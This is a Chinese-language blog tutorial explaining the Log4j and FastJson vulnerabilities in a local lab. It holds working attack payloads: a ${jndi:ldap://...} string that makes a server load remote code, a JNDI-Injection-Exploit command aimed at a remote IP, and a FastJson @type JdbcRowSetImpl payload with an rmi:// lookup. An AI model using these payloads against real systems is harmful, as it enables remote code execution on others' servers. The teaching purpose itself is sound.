Java安全—log4j日志FastJson序列化JNDI注入
前言
log4j和fastjson都是这几年比较火的组件,前者是用于日志输出后者则是用于数据转换,今天我们从源码来说一下这两个组件为何会造成漏洞。
实验环境
这里的idea要进行一下配置,因为我们要引用第三方组件,而这些第三方组件都是从国外的库来下载的,我们需要配置成国内的库不然就比较慢啥的。
Maven 配置:https://www.jb51.net/article/259780.htm
需要注意一下,最后测试的步骤把导入org.junit.Test换成导入org.junit.jupiter.api.Test即可解决报错。
log4j
Apache 的一个开源项目,通过使用 Log4j,我们可以控制日志信息输送的目的地是控制 台、文件、GUI 组件,甚至是套接口服务器、NT 的事件记录器、UNIX Syslog 守护进 程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能 够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来 灵活地进行配置,而不需要修改应用的代码。
先新建一个java项目,命名为Log4j—demo。
可以在外部库看到引用了很多第三方库,但是没有Log4j,我们需要引进一下。
访问这个jar包网站,直接搜log4j。
https://mvnrepository.com/
可以看到log4j这个组件在2.17.1版本之后就没有漏洞了,我们这里选择2.13.1版本的,其它的也行。
点击进去选择Maven。
复制里面的内容到pom.xml这个文件下面,然后更新,就可以看到这个外部库被下载下来啦。
新建一个名为Log4j的文件。
写入以下的代码。
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4jTest {
private static final Logger logger = LogManager.getLogger(Log4jTest.class.getName());
public static void main(String[] args) {
logger.error("Hello World");
}
}
运行输出日志Hello World。
ok现在我们怎么利用呢,我们把代码修改一下,那么现在是会输出${java:os}还是说输出别的呢。
直接运行发现并没有输出${java:os},而是输出了我们系统的版本信息,这是为啥呢?原来当Log4j在输出日志的时候遇到$符号就会把{}里面的东西当作代码来执行,从而造成RCE!!!
当我们的code这个变量是可控的时候就会造成RCE漏洞,所以我们现在搞个网站来试试,新建一个项目,命名为log4j-web。
选择JavaEE8。
再新建一个java文件,命名log4jServlet。
记得到pom.xml这个文件里面,把log4j外部库导入,接着写入以下代码。
package com.sf.maven.log4jweb;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet("/log4j")
public class log4jServlet extends HttpServlet {
private static final Logger log = LogManager.getLogger(log4jServlet.class);
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String code = req.getParameter("code");
log.error(code);
}
}
我们点击编辑配置。
点击左上角的+号,选择Tomcat服务器,选择本地的。
这个应用程序服务器需要你去下载一个才行,直接搜Tomcat下载即可,JDK1.8的话建议配9.0版本的Tomcat。
下载好Tomcat直接点击配置导入即可。
接着点击部署。
点击+号,选择工件,把我们两个log4j的工件部署进去。
最后点击运行就会在浏览器自动打开一个页面。
访问我们的log4j页面,对code参数传参。
回到idea这里,可以看到11被当作日志给输出来啦。
接着执行命令,直接给我跳到404了,这是咋回事呢。
原因是tomcat的版本问题,好像是tomcat7.9以上的版本,都不支持请求链接上带有特殊字符。否则会报400错误,这是因为Tomcat严格按照 RFC 3986规范进行访问解析,而 RFC3986规范定义了Url中只允许包含英文字母(a-zA-Z)、数字(0-9)、-_.~4个特殊字符以及所有保留字符(RFC3986中指定了以下字符为保留字符:! * ’ ( ) ; : @ & = + $ , / ? # [ ])。传入的参数中有"{"不在RFC3986中的保留字段中,所以会报这个错。
所以我们直接去修改Tomcat的配置文件server.xml,把原来的注释掉,改为如下。
<Connector port="8080" protocol="HTTP/1.1"
relaxedQueryChars="[]|{}^\`"<>"
connectionTimeout="20000"
redirectPort="8443" /
/>
重新运行代码执行命令,终于成功啦。
Jndi注入
说到log4j就不得不提Jndi注入了,全称Java Naming and Directory Interface (Java 命名和目录接口 ),JNDI 提 供统一的客户端 API,通过不同的服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录服务,使得 JAVA 应用程可以通过 JNDI 实现和这些命名 服务和目录服务之间的交互。
我们利用这个JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具来演示一下jndi注入,具体原理的话下篇文章讲,生成命令为"calc"访问IP为8.149.141.189的连接。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 8.xxx.xxx.xxx
${jndi:ldap://8.xxx.xxx.xxx:1389/h9joif}
这时候我们的本地电脑的计算机给我弹出来了,因为calc就是打开电脑计算机的命令。
FastJson
在前后端数据传输交互中,经常会遇到字符串(String)与 json,XML 等格式相互转换与 解析,其中 Json 以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据 交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web 输出等各 种应用场景中。FastJson 是阿里巴巴的的开源库,用于对 JSON 格式的数据进行解析和打包。说这么多,其实我说白了就是一个数据类型转换的第三方组件。
新建一个项目叫fastjson-demo。
找个有漏洞的FastJson版本组件,我这里用1.2.24版本的。
把代码复制进去下载第三方库,和上面一样。
如果报错的话是没有更新源。
把maven改为我们自己的源,不要默认的源,如果不懂就看上面链接的文章。
换了之后秒下载完成。
先新建一个软甲包,叫com.wlwznb。
再新建一个java文件,命名user。
写入以下代码,这些代码都是idea自带的直接tab补全即可。
package com.wlwznb;
public class user {
private String name;
private int age;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
System.out.println(this.name);
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
System.out.println(this.age);
}
}
再新建一个文件叫fastjson。
我们用这个FastJson这个文件去处理user文件里面的数据,简单写一下代码。
输出。
我们现在的age和name都是字符串类型的数据,现在我要把它转换为Json的数据格式,可以用java自带的API来进行转换,但是自带的API太麻烦了我不想用,所以我引入第三方组件——FastJson。这里在原来的代码中加上两句代码,调用FastJson这个组件。
可以看到输出的数据是Json格式的。
我们现在来看看漏洞是这么造成的,把这FastJson的代码补充完整,就是输出类型。
可以看到这次输出的Json数据多了@type和com.wlwznb.user。
这个@type指定了com.wlwznb.user这个类,并且执行了里面的代码。OK,现在我们再新建一个文件命名为Run,接着写入一个命令执行的代码,执行calc命令。
再在原有的代码基础上,加上两行代码,就是把Json数据转换为字符串格式,注意此时我们的@type指定的类不再是原本的com.wlwznb.user,而是我们刚刚编写的用于命令执行的类com.wlwznb.Run。
运行代码成功弹出计算器,说上面我们说的是对的,这里我指定了com.wlwznb.Run这个类,那么在数据转换的过程就会执行这个类里面的代码。
那在实战中不可能说我们自己去写一个类呀,那咋搞。我们来看一个最典型的payload,这里指定了com.sun.rowset.JdbcRowSetImpl这个类,这个玩意是Java自带的。然后这个类里面的setAutoCommit()方法会调用 connect() 函数,connect()函数又会调用 InitialContext.lookup(dataSourceName)这个函数,InitialContext.lookup这个函数的作用就是查找并返回绑定到指定名称的对象,通俗来讲就是去请求一个资源。然而这个dataSourceName参数是可控的,所以我们指定一个恶意的资源,让它通过rmi或者ldap去请求我们的资源,并且执行我们恶意资源中的代码,从而造成jndi注入。
如果你不懂Java中的类、方法是啥意思,简答来说类就是python中封装好的模块,直接调用即可,模块里面还有很多函数啥的,这些在Java中叫方法,其实就是一样的东西。
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}
PS:已经尽最大的努力讲明白了
到这里可能会有人有疑问,不是说反序列话造成的漏洞吗,反序列化在哪里?这里把test这个Json数据变成字符串过程就是反序列化,上面把字符串变成Json数据就是序列化,我们讲数据转换只是为了方便理解。
总结
这里就讲了log4j和FastJson两个组件所产生的漏洞,具体怎么利用就下次讲了,还有这个Jndi注入。
最后还是要声明一下,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。